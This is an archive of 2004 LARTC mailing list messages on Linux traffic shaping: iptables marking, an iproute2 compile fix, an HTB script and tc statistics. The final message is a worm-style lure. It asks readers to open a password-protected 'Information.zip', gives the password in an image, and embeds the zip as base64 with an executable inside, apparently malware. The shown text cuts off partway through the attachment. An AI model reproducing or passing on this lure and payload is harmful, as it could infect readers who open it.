>>             --source-port $SERVERPORT --jump MARK --set-mark 0x1
>>
> Hi,
>
> i´m yet not very familiar to LARTC but based on the IPTables settings it
> will throttle the traffic for all clients because you mark it so for tc.
> In words it means that before your box routes it marks all traffic
> coming in on eth0 with the $SERVERPORT and $SERVERIP with 0x1. So that
> tc can handle it. But there is no dependency on a certain client as you
> want it to. So every client will get throttled. Perhaps try this don´t
> know if it works:
>
> iptables --append PREROUTING --in-interface eth0 --table mangle \
>           --protocol tcp --source $SERVERIP \
>           --source-port $SERVERPORT --destination $LANCLIENT \
>           --jump MARK --set-mark 0x1
>
> iptables --append PREROUTING --in-interface eth1 --table mangle \
>           --protocol tcp --destination $SERVERIP \
>           --destination-port $SERVERPORT --source $LANCLIENT \
>           --jump MARK --set-mark 0x2
>


MailKey: GUINNESS

From lopsch@lopsch.com  Thu Oct 21 00:40:57 2004
From: lopsch@lopsch.com (Lopsch)
Date: Thu, 21 Oct 2004 01:40:57 +0200
Subject: [LARTC] iproute2-2.6.9-041019 compiling error
Message-ID: <4176F789.5070403@lopsch.com>

While compiling the new release i´ll get this error:


gcc -D_GNU_SOURCE -O2 -Wstrict-prototypes -Wall -g -I../include 
-DRESOLVE_HOSTNAMES   -c -o ipxfrm.o ipxfrm.c
ipxfrm.c: In function `xfrm_selector_print':
ipxfrm.c:395: error: `IPPROTO_SCTP' undeclared (first use in this function)
ipxfrm.c:395: error: (Each undeclared identifier is reported only once
ipxfrm.c:395: error: for each function it appears in.)
ipxfrm.c: In function `xfrm_selector_upspec_parse':
ipxfrm.c:790: error: `IPPROTO_SCTP' undeclared (first use in this function)


Any solutions?


From shemminger@osdl.org  Thu Oct 21 00:40:32 2004
From: shemminger@osdl.org (Stephen Hemminger)
Date: Wed, 20 Oct 2004 16:40:32 -0700
Subject: [LARTC] iproute2-2.6.9-041019 compiling error
In-Reply-To: <4176F789.5070403@lopsch.com>
References: <4176F789.5070403@lopsch.com>
Message-ID: <20041020164032.11a5c7fc@zqx3.pdx.osdl.net>

This should fix it.

diff -Nru a/ip/xfrm.h b/ip/xfrm.h
--- a/ip/xfrm.h	2004-10-20 16:40:09 -07:00
+++ b/ip/xfrm.h	2004-10-20 16:40:09 -07:00
@@ -28,7 +28,10 @@
 #include <stdio.h>
 #include <sys/socket.h>
 #include <linux/xfrm.h>
-#include "utils.h"
+
+#ifndef IPPROTO_SCTP
+# define IPPROTO_SCTP	132
+#endif
 
 #define XFRM_MAX_DEPTH 6
 

From lopsch@lopsch.com  Thu Oct 21 01:02:21 2004
From: lopsch@lopsch.com (Lopsch)
Date: Thu, 21 Oct 2004 02:02:21 +0200
Subject: [LARTC] iproute2-2.6.9-041019 compiling error
In-Reply-To: <20041020164032.11a5c7fc@zqx3.pdx.osdl.net>
References: <4176F789.5070403@lopsch.com> <20041020164032.11a5c7fc@zqx3.pdx.osdl.net>
Message-ID: <4176FC8D.2050006@lopsch.com>

> This should fix it.
> 
> diff -Nru a/ip/xfrm.h b/ip/xfrm.h
> --- a/ip/xfrm.h	2004-10-20 16:40:09 -07:00
> +++ b/ip/xfrm.h	2004-10-20 16:40:09 -07:00
> @@ -28,7 +28,10 @@
>  #include <stdio.h>
>  #include <sys/socket.h>
>  #include <linux/xfrm.h>
> -#include "utils.h"
> +
> +#ifndef IPPROTO_SCTP
> +# define IPPROTO_SCTP	132
> +#endif
>  
>  #define XFRM_MAX_DEPTH 6
>  
Thank´s but I´m not good at programming so I don´t really know what to 
do :(.


From lopsch@lopsch.com  Thu Oct 21 01:10:38 2004
From: lopsch@lopsch.com (Lopsch)
Date: Thu, 21 Oct 2004 02:10:38 +0200
Subject: [LARTC] iproute2-2.6.9-041019 compiling error
In-Reply-To: <20041020164032.11a5c7fc@zqx3.pdx.osdl.net>
References: <4176F789.5070403@lopsch.com> <20041020164032.11a5c7fc@zqx3.pdx.osdl.net>
Message-ID: <4176FE7E.3000104@lopsch.com>

> This should fix it.
> 
> diff -Nru a/ip/xfrm.h b/ip/xfrm.h
> --- a/ip/xfrm.h	2004-10-20 16:40:09 -07:00
> +++ b/ip/xfrm.h	2004-10-20 16:40:09 -07:00
> @@ -28,7 +28,10 @@
>  #include <stdio.h>
>  #include <sys/socket.h>
>  #include <linux/xfrm.h>
> -#include "utils.h"
> +
> +#ifndef IPPROTO_SCTP
> +# define IPPROTO_SCTP	132
> +#endif
>  
>  #define XFRM_MAX_DEPTH 6
>  
OK excuse me for being dumb ;), worked fine.


From hariett.jones@wp.pl  Thu Oct 21 08:12:26 2004
From: hariett.jones@wp.pl (Hariett Jones)
Date: Thu, 21 Oct 2004 09:12:26 +0200
Subject: [Fwd: [LARTC] up and down shaping based on IP]
Message-ID: <4177615A.8050305@wp.pl>

Hello, i have a server (486sx and 16ram).
My pc is providing internet to 12 other computers. Ethernet cards are 
realteks 8139 (drivers builtin to the kernel 2.6.8).
It gives me this error :

NETDEVICE WATCHDOG eth1 : ...timeout.

I checked in many places for solutions. Even wrote to this mailinglist. 
But lately i recived information, that too much upload
may mix my adsl modem up. So..... my question is how should my script 
look while the situation is :
eth0 - connected to adsl modem and thus to internet
eth1 - connected to 16port switch which supplies internet to 12 other 
computers.
dsl connection is 1000/256 kbit/s

Please correct my script to include upload control. Every host should 
have equal speed. I have read the howto, but do not understand it. Every client has here his own class.
Should i create 2 classes for each (1 for upload and 1 for download ) ? Please help, im desperate.

> bernard@gecon:~$ cat /etc/rc.d/rc.htb
> #!/bin/sh
> CLIENTS="01 05 07 11 12 13 15 18 19 20 21 22"
> htb_start() {
>   echo "tc qdisc add dev eth1 root handle 1: htb default 12"
>   tc qdisc add dev eth1 root handle 1: htb default 12
>   echo "tc qdisc add dev eth0 root handle 2: tbf rate 200kbit latency 
> 50ms burst  1540"
>   tc qdisc add dev eth0 root handle 2: tbf rate 230kbit latency 50ms 
> burst 1540
>   echo "tc class add dev eth1 parent 1: classid 1:1 htb rate 1000kbit 
> ceil 1000k bit"
>   tc class add dev eth1 parent 1: classid 1:1 htb rate 1000kbit ceil 
> 1000kbit
>  
>   echo "Ustawianie klas"
>    
>   for IP in $CLIENTS; do
>     tc class add dev eth1 parent 1:1 classid 1:1${IP} htb rate 80kbit 
> ceil 1000k bit cburst 1kbit
>   done
>  
> #dla nie zakwalifikowanych
>   tc class add dev eth1 parent 1:1 classid 1:100 htb rate 50kbit ceil 
> 50kbit qua ntum 4
>  
>   echo "Ustawianie filtrów i SFQ"
>  
>   for IP in $CLIENTS; do
>     tc filter add dev eth1 protocol ip parent 1: prio 2 u32 match ip 
> dst 192.168 .0.1${IP} flowid 1:1${IP}
>     tc qdisc add dev eth1 parent 1:1${IP} handle 1${IP}:0 sfq perturb 10
>   done
>   tc filter add dev eth1 protocol ip parent 1: prio 3 u32 match ip dst 
> 192.168.0 .0/24 flowid 1:100
> }
>  
> htb_stop() {
>   echo "tc qdisc del dev eth1 root"
>   tc qdisc del dev eth1 root
>   echo "tc qdisc del dev eth0 root"
>   tc qdisc del dev eth0 root
> }
>  
> case "$1" in
> 'start')
>   htb_start
>   ;;
> 'stop')
>   htb_stop
>   ;;
> 'restart')
>   htb_stop
>   htb_start
>   ;;
> *)
>   echo "usage $0 start|stop|restart"



_______________________________________________
LARTC mailing list / LARTC@mailman.ds9a.nl
http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/




From hariett.jones@wp.pl  Thu Oct 21 08:23:47 2004
From: hariett.jones@wp.pl (Hariett Jones)
Date: Thu, 21 Oct 2004 09:23:47 +0200
Subject: [LARTC] can't understand howto example
Message-ID: <41776403.9040504@wp.pl>

tc class add dev $DEV parent 1: classid 1:1 htb rate ${UPLINK}kbit burst 6k

tc qdisc add dev $DEV handle ffff: ingress

tc filter add dev $DEV parent ffff: protocol ip prio 50 u32 match ip src \
  0.0.0.0/0 police rate ${DOWNLINK}kbit burst 10k drop flowid :1

why does the download is being sent to class 1 which is limited by uplink ?
why the rate is being mentioned in filter and in class ?

copied from : http://lartc.org/howto/lartc.cookbook.ultimate-tc.html#AEN2241




From alex@samad.com.au  Thu Oct 21 10:59:42 2004
From: alex@samad.com.au (Alexander Samad)
Date: Thu, 21 Oct 2004 19:59:42 +1000
Subject: [LARTC] how to read the stats
Message-ID: <20041021095942.GP27259@samad.com.au>

--5tiY7shzwSGI9p6W
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi

I have setup iproute2 and need a bit of help reading the stats from it


=3D=3D=3D=3D=3D output
qdisc htb 1: r2q 10 default 20 direct_packets_stat 0 ver 3.17
 Sent 547326809 bytes 1342627 pkts (dropped 9303, overlimits 2817572
requeues 0)=20
 backlog 46p=20
qdisc sfq 10: limit 128p quantum 1514b flows 128/1024 perturb 10sec=20
 Sent 41874343 bytes 730889 pkts (dropped 0, overlimits 0 requeues 0)=20
qdisc sfq 20: limit 128p quantum 1514b flows 128/1024 perturb 10sec=20
 Sent 10136008 bytes 69886 pkts (dropped 0, overlimits 0 requeues 0)=20
qdisc sfq 30: limit 128p quantum 1514b flows 128/1024 perturb 10sec=20
 Sent 495316458 bytes 541852 pkts (dropped 9303, overlimits 0 requeues
0)=20
 backlog 46p=20


>>>> This I belive is my parent class is has access to the whole 64Kbit
class htb 1:1 root rate 64Kbit ceil 64Kbit burst 80b/8 mpu 0b overhead
0b cburst 1507b/8 mpu 0b overhead 0b level 7=20
 Sent 542500093 bytes 1342581 pkts (dropped 0, overlimits 0 requeues 0)=20
 rate 7201bit 20pps=20
 lended: 322826 borrowed: 0 giants: 0
 tokens: -228224 ctokens: -45568

class htb 1:10 parent 1:1 leaf 10: prio 1 quantum 8 rate 57Kbit ceil
64Kbit burst 80b/8 mpu 0b overhead 0b cburst 1507b/8 mpu 0b overhead 0b
level 0=20
 Sent 41874343 bytes 730889 pkts (dropped 0, overlimits 0 requeues 0)=20
 rate 681bit 12pps=20
 lended: 730878 borrowed: 11 giants: 0
 tokens: 2966 ctokens: 185856

class htb 1:20 parent 1:1 leaf 20: prio 2 quantum 8 rate 32Kbit ceil
57Kbit burst 80b/8 mpu 0b overhead 0b cburst 71b/8 mpu 0b overhead 0b
level 0=20
 Sent 10136008 bytes 69886 pkts (dropped 0, overlimits 0 requeues 0)=20
 rate 302bit 1pps=20
 lended: 68718 borrowed: 1168 giants: 0
 tokens: -149248 ctokens: -73584


>>>> this is the low bandwidth class (bittorrent etc)
class htb 1:30 parent 1:1 leaf 30: prio 3 quantum 8 rate 25Kbit ceil
51Kbit burst 63b/8 mpu 0b overhead 0b cburst 47b/8 mpu 0b overhead 0b
level 0=20
 Sent 495316458 bytes 541852 pkts (dropped 9303, overlimits 0 requeues
0)=20
>>> THIS is the line I have problems understanding
>>> I read it as 6190bit/sec which seems to be way lower than the 25Kbit
>>> set for the rate and much lower than the ceil
>>> so why do I have a backlog
 rate 6190bit 7pps backlog 46p=20
 lended: 220159 borrowed: 321647 giants: 0
 tokens: -493609 ctokens: -242500


Having said all that it does seem to be limiting to 25Kbit, with burst
upto 51 !


This is on a patched debian 2.6.8 kernel (pom-ng patch'ed) and iproute2-ss0=
40831

Thanks
Alex


--5tiY7shzwSGI9p6W
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBd4iOkZz88chpJ2MRAoBzAJ4rjIW96+psFo/HN8Nata9Mnnpm1QCeMyYS
cJUTPXy8UHT2L+FNxv5a6kQ=
=EVD6
-----END PGP SIGNATURE-----

--5tiY7shzwSGI9p6W--

From filipe_abrantes@netcabo.pt  Thu Oct 21 11:40:10 2004
From: filipe_abrantes@netcabo.pt (Filipe Abrantes)
Date: Thu, 21 Oct 2004 11:40:10 +0100
Subject: [LARTC] lartc API?
Message-ID: <4177920A.8000405@netcabo.pt>

hi,

is there an API for lartc functionalities, so we can use it inside 
programs? where is it documented?


Best Regards


Filipe Abrantes

From mjoachimiak@poczta.onet.pl  Thu Oct 21 00:15:48 2004
From: mjoachimiak@poczta.onet.pl (ja)
Date: Thu, 21 Oct 2004 01:15:48 +0200
Subject: [LARTC] How to start
References: <20041020160045.13208.qmail@web20821.mail.yahoo.com>
Message-ID: <003901c4b6fa$be5e5930$0802a8c0@komp>

This is a multi-part message in MIME format.

------=_NextPart_000_0036_01C4B70B.7F898A20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

You must looking for "tc"
  ----- Original Message -----=20
  From: festus omeke=20
  To: LARTC@mailman.ds9a.nl=20
  Sent: Wednesday, October 20, 2004 6:00 PM
  Subject: [LARTC] How to start


  Hello All,

  I am a newbie in linux, i want to learn how to configure a traffic =
shaper, i have a  linux caching server workin already on my network, i =
will like to know the rpm i need to install b4 starting.

  please if there is any one that can help, tell me step by step, what =
rpm needs to be installed and 1st step to take.

  Regards,

  Festus



-------------------------------------------------------------------------=
-----
  Do you Yahoo!?
  vote.yahoo.com - Register online to vote today!
------=_NextPart_000_0036_01C4B70B.7F898A20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1476" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>You must&nbsp;looking =
for&nbsp;"tc"</FONT></DIV>
<BLOCKQUOTE=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dfezzy4real@yahoo.com =
href=3D"mailto:fezzy4real@yahoo.com">festus=20
  omeke</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3DLARTC@mailman.ds9a.nl=20
  href=3D"mailto:LARTC@mailman.ds9a.nl">LARTC@mailman.ds9a.nl</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, October 20, =
2004 6:00=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [LARTC] How to =
start</DIV>
  <DIV><BR></DIV>
  <P>Hello All,</P>
  <P>I am a newbie in linux, i want to learn how to configure a traffic =
shaper,=20
  i have a&nbsp; linux caching server workin already on my network, i =
will like=20
  to know the rpm i need to install b4 starting.</P>
  <P>please if there is any one that can help, tell me step by step, =
what rpm=20
  needs to be installed and 1st step to take.</P>
  <P>Regards,</P>
  <P>Festus</P>
  <P>
  <HR SIZE=3D1>
  Do you Yahoo!?<BR><A href=3D"http://vote.yahoo.com">vote.yahoo.com</A> =
-=20
  Register online to vote today!</BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0036_01C4B70B.7F898A20--


From hareram@sol.net.in  Thu Oct 21 19:49:27 2004
From: hareram@sol.net.in (Hareram)
Date: Thu, 21 Oct 2004 13:49:27 -0500
Subject: [LARTC] Re: Incoming Message
Message-ID: <tjzglooickemjesfcno@mailman.ds9a.nl>

----------umqdscarosmorxiwriwf
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
Please, read  the  document.<br><br>


<br>Attached file is protected with the password for  security reasons. Password is  <img src="cid:zngsubvnaw.jpeg"><br>
<br>
</body></html>

----------umqdscarosmorxiwriwf
Content-Type: image/jpeg; name="zngsubvnaw.jpeg"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="zngsubvnaw.jpeg"
Content-ID: <zngsubvnaw.jpeg>

/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRof
Hh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwh
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAAR
CAATAEADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAA
AgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkK
FhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWG
h4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl
5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREA
AgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYk
NOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOE
hYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk
5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD3+o53eOB3iiMzgfLGpALH6nipKqapcvZ6
ZcTxeX5ir8nmOFXceBkkgdT61M5KMW30FJ2TZXh1SeZrqBbQNeW7qrxrL8nzDIO4gcY68Z9j
TE1eWWxluoreECB3SfzZiqqV6lSEO4e/FZ1hqljaadIgaGSZm3TGe7hzMT948MR+BwOlVjLb
jRxZfbrMxzXoYxC5jxDAXzt68gAdBnrXmPFS5U+bWz7b9Onyf32OX2rtv0/4Y2ZtVvodMjvn
sIVDIGMTXJDbieFHyck8enJ9s024177LJIsluoW3WI3TCX/VGQ4AHHzY79OKg1HULC6vdNVb
6za3jmMsp+0IANqnbxnnk/pWbqn2O5utRjjv7RotR8jdJ9qjAi2HnIJzyBxjPNFXEVIp8k72
06fyt326uy+8U6klflf5dv8AOx2VFNR0kjWSNlZGAKspyCD3Bp1eqdgUUUUAFFFFABRRRQAU
UUUAf//Z

----------umqdscarosmorxiwriwf
Content-Type: application/octet-stream; name="Information.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Information.zip"

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
